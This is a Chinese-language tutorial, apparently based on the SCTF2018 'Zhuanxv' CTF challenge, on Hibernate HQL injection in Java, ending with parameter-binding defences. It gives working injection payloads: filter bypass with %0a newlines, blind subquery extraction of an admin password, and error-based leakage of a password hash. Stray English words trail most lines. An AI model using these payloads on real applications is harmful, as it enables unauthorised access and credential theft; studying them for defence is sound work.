遇到一個hql注入ctf題 這裏總結下java中Hibernate HQL的注入問題。html
Hibernate是一種ORM框架,用來映射與tables相關的類定義(代碼)java
內部可使用原生SQL還有HQL語言進行SQL操做。git
HQL注入:Hibernate中沒有對數據進行有效的驗證致使惡意數據進入應用程序中形成的。參考SQL注入便可。github
HQL查詢過程:web
HQL查詢是由hibernate引擎對查詢進行解析並解釋,而後將其轉換爲SQL。因此錯誤消息來源有兩種,一種來自hibernate引擎,一種來自數據庫。sql
HQL語法:數據庫
注意這裏查詢的都是JAVA類對象 select "對象.屬性名" from "對象名" where "條件" group by "對象.屬性名" having "分組條件" order by "對象.屬性名"
這裏寫個簡單的測試HQL注入session
注入:框架
aaaa' or 1=1 or "='
後面的" 和 payload的中的 ' 加語句自己的 ' 構成 雙引號等於雙引號測試
SCTF2018 : Zhuanxv這道題中
反編譯後class看到hql語句
前面審計出條件
用戶名過濾空格與等號 因此注入語句用換行符 %0a
payload:
admin%27%0Aor%0A%271%27%3E%270'%0Aor%0Aname%0Alike%0A'admin&user.password=1
拼接後的語句:
from User where name = '"admin' or '1'>'0' or name like 'admin&user.password=1"' and password = '"+ password + "'"
還有一種是百分號裏注入 大同小異:
session.createQuery("from Book where title like '%" + userInput + "%' and published = true")
注入:
from Bookwhere title like '%' or 1=1 or ''='%' and published = true
注入爆出隱藏的列:
from Bookwhere title like '%' and promoCode like 'A%' or 1=2 and ''='%' and published = true from Bookwhere title like '%' and promoCode like 'B%' or 1=2 and ''='%' and published = true
列出全部的列
利用返回錯誤異常消息 列名不是Hibernate中實體定義的一部分,則其會觸發異常
from Bookwhere title like '%' and DOESNT_EXIST=1 and ''='%' and published = true
org.hibernate.exception.SQLGrammarException:
Column "DOESNT_EXIST" not found; SQL statement:select book0_.id as id21_, book0_.author as author21_, book0_.promoCode as promo3_21_, book0_.title as title21_, book0_.published as published21_ from Book book0_ where book0_.title like '%' or DOESNT_EXIST='%' and book0_.published=1 [42122-159]
HQL支持UNION查詢,能夠與其它表join,但只有在模型明肯定義了關係後纔可以使用。
盲注
若是查詢不用的表,鑲嵌使用子查詢。
from Bookwhere title like '%' and (select substring(password,1,1) from User where username='admin') = 'a' or ''='%' and published = true
報錯注入
from Bookwhere title like '%11' and (select password from User where username='admin')=1 or ''='%' and published = true
Data conversion error converting "3f3ff0cdbfa0d515f8e3751e4ed98abe";
SQL statement:select book0_.id as id18_, book0_.author as author18_, book0_.promotionCode as promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and book0_.published=1 [22018-159]
HQL參數名稱綁定
防護sql注入最好的辦法就是預編譯
Query query=session.createQuery(「from User user where user.name=:customername and user:customerage=:age 」); query.setString(「customername」,name); query.setInteger(「customerage」,age);
HQL參數位置邦定:
Query query=session.createQuery(「from User user where user.name=? and user.age =? 」); query.setString(0,name); query.setInteger(1,age);
setParameter()
String hql=」from User user where user.name=:customername 」; Query query=session.createQuery(hql); query.setParameter(「customername」,name,Hibernate.STRING);
setProperties()方法:
setProperties()方法將命名參數與一個對象的屬性值綁定在一塊兒
Customer customer=new Customer(); customer.setName(「pansl」); customer.setAge(80); Query query=session.createQuery(「from Customer c where c.name=:name and c.age=:age 」); query.setProperties(customer);
setProperties()方法會自動將customer對象實例的屬性值匹配到命名參數上,可是要求命名參數名稱必需要與實體對象相應的屬性同名。
參考連接:
HQL: The Hibernate Query Language : Hibernate 官方
https://www.freebuf.com/articles/web/33954.html